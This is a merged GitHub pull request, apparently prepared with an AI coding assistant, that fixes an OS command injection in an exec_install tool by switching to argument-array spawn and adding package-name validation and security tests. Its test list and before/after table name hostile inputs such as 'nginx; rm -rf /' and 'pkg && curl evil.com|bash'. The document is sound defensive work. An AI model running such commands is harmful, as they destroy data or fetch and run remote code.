Skip to content

fix(exec): prevent CWE-78 OS command injection in exec_install (issue #12) - #32

Merged
labtgbot merged 2 commits into
mainfrom
issue-12-exec-install-cwe78
Jun 15, 2026
Merged

fix(exec): prevent CWE-78 OS command injection in exec_install (issue #12)#32
labtgbot merged 2 commits into
mainfrom
issue-12-exec-install-cwe78

Conversation

@xdevrobot

Copy link
Copy Markdown
Collaborator

Summary

Fixes issue #12 — HIGH severity CWE-78 OS Command Injection in exec_install.

The packages parameter was interpolated directly into shell commands via template literals (bash -c "apt install -y ${pkgs}") with no sanitization, allowing arbitrary command execution through shell metacharacters.

Changes

src/agent/tools/exec/install.ts

  • Replaced runCommand + INSTALL_COMMANDS string interpolation with spawnInstallCommand (argument-array spawn)
  • Added validatePackageToken() — strict regex validation per package token (/^[a-zA-Z0-9][a-zA-Z0-9_.\-:]*$/)
  • Added parseAndValidatePackages() — splits by whitespace, enforces max 20 packages, rejects URLs (http://, https://) and archives (.deb, .whl, .tar.gz, .tgz, .zip)
  • Fixed commandDisplay audit string to include manager flags (apt install -y, npm install -g, docker pull)

src/agent/tools/exec/runner.ts

  • Added spawnInstallCommand() — uses spawn(manager, args, ...) with argument arrays instead of bash -c string interpolation, eliminating the injection surface entirely

src/agent/tools/exec/__tests__/tools.test.ts

  • Mocked spawnInstallCommand for install tests
  • Added security tests:
    • URL-based package rejection (https://evil.com/malware.tar.gz)
    • Archive-based package rejection (.whl, .deb, .tar.gz)
    • Shell metacharacter rejection (; rm -rf /, &&, |, `)
    • Too many packages (>20) rejection
    • Empty package name rejection
    • Timeout and spawn error handling

Verification

npx vitest run src/agent/tools/exec/__tests__/tools.test.ts
# 31 tests passed ✓

Security Impact

Attack Vector Before After
nginx; rm -rf / ✅ Executed ❌ Rejected by regex
pkg && curl evil.com|bash ✅ Executed ❌ Rejected by regex
https://evil.com/malware.deb ✅ Downloaded ❌ Rejected (URL)
malware.whl ✅ Downloaded ❌ Rejected (archive)
Argument array spawn bash -c string spawn(manager, args)

🤖 Generated with Claude Code

…12)

Replace string-interpolated shell command with spawnInstallCommand using
argument arrays, eliminating bash -c injection surface. Add strict
package name validation (alphanumeric, dots, hyphens, underscores, colons
for docker tags). Reject URL-based and archive-based package specs.

Changes:
- install.ts: replace runCommand+buildCommand with spawnInstallCommand,
  add parseAndValidatePackages() with regex validation, add
  validatePackageToken() helper, fix commandDisplay to include manager
  flags (apt -y, npm -g, docker pull)
- runner.ts: add spawnInstallCommand() using spawn() with argument arrays
  instead of bash -c string interpolation
- tools.test.ts: mock spawnInstallCommand, add security tests (URL
  rejection, archive rejection, shell metacharacter rejection, too many
  packages, empty packages, timeout/error handling)

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- Add security defaults (sandbox_dir, env_whitelist, max_concurrent) to makeExecConfig
- Mock ensureSandboxDir and execConcurrency to avoid real semaphore/fs in tests
- Update exec_run and exec_service assertions to expect 3-arg runCommand call
  with security options object ({cwd, env})

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@labtgbot
labtgbot merged commit 0d537b9 into main Jun 15, 2026
17 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[HIGH][CWE-78] Command Injection: exec_install interpolates unsanitized package names

2 participants